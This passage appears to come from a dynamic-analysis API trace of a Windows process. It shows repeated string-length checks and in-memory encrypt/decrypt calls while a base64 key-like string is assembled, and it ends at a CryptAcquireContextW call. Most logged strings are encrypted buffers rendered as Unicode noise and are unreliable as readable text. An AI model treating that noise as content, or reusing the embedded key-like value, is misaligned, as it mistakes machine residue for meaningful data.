Memory=0x3c4e94) returned 0x0 [0257.273] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0257.273] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.273] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0257.273] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0257.273] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.273] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0257.273] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.274] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0257.274] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0257.274] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.274] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0257.274] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.274] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0257.274] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0257.274] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.274] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0257.274] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.274] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0257.274] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0257.274] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.275] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0257.275] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.275] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0257.275] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0257.275] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.275] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0257.275] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.275] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0257.275] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0257.275] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.275] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0257.275] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.276] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0257.276] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0257.276] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0257.276] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0257.276] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.276] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0257.276] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.276] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0257.277] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0257.277] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.277] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0257.277] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.277] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0257.277] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0257.277] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.277] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0257.277] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.277] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0257.277] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0257.277] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.277] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0257.277] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.278] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0257.278] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0257.278] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.278] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0257.278] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.278] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0257.278] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0257.278] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.278] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0257.278] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.278] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0257.278] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0257.279] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.279] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0257.279] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.279] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0257.279] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0257.279] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.279] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0257.279] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.279] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0257.280] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0257.280] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0257.280] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0257.280] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.280] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0257.280] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.323] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0257.323] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0257.323] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.323] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0257.323] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.323] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0257.323] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0257.323] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.324] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0257.324] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.324] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0257.324] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0257.324] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.324] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0257.324] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.324] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0257.324] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0257.324] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.324] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0257.324] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.324] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0257.325] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0257.325] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.325] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0257.325] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.325] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0257.325] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0257.325] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.325] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0257.325] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.325] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0257.325] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0257.325] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.325] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0257.325] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.326] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0257.326] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0257.326] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0257.326] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0257.326] SystemFunction041 (in: Memory=0x3afc54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afc54) returned 0x0 [0257.327] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0257.327] SystemFunction040 (in: Memory=0x3afc54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afc54) returned 0x0 [0257.327] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0257.327] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0257.327] SystemFunction041 (in: Memory=0x3afc54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afc54) returned 0x0 [0257.327] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0257.327] SystemFunction040 (in: Memory=0x3afc54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afc54) returned 0x0 [0257.327] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0257.327] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0257.327] SystemFunction041 (in: Memory=0x3afc54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afc54) returned 0x0 [0257.328] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0257.328] SystemFunction040 (in: Memory=0x3afc54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afc54) returned 0x0 [0257.328] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0257.328] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0257.328] SystemFunction041 (in: Memory=0x3afc54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afc54) returned 0x0 [0257.328] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0257.328] SystemFunction040 (in: Memory=0x3afc54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afc54) returned 0x0 [0257.328] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0257.328] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0257.328] SystemFunction041 (in: Memory=0x3afc54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afc54) returned 0x0 [0257.328] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0257.328] SystemFunction040 (in: Memory=0x3afc54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afc54) returned 0x0 [0257.329] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0257.329] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0257.329] SystemFunction041 (in: Memory=0x3afc54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afc54) returned 0x0 [0257.329] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0257.329] SystemFunction040 (in: Memory=0x3afc54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afc54) returned 0x0 [0257.329] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0257.329] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0257.329] SystemFunction041 (in: Memory=0x3afc54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afc54) returned 0x0 [0257.329] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0257.329] SystemFunction040 (in: Memory=0x3afc54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afc54) returned 0x0 [0257.329] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0257.329] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0257.329] SystemFunction041 (in: Memory=0x3afc54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afc54) returned 0x0 [0257.330] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0257.330] SystemFunction040 (in: Memory=0x3afc54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afc54) returned 0x0 [0257.330] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0257.330] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0257.330] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0257.331] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0257.331] SystemFunction041 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0257.331] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0257.331] SystemFunction040 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0257.331] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0257.331] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0257.331] SystemFunction041 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0257.331] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0257.331] SystemFunction040 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0257.331] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0257.331] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0257.331] SystemFunction041 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0257.331] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0257.332] SystemFunction040 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0257.332] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0257.332] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0257.332] SystemFunction041 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0257.332] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0257.332] SystemFunction040 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0257.332] EtwEventActivityIdControl () returned 0x0 [0257.332] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0257.332] SystemFunction041 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0257.332] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0257.332] SystemFunction040 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0257.334] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced 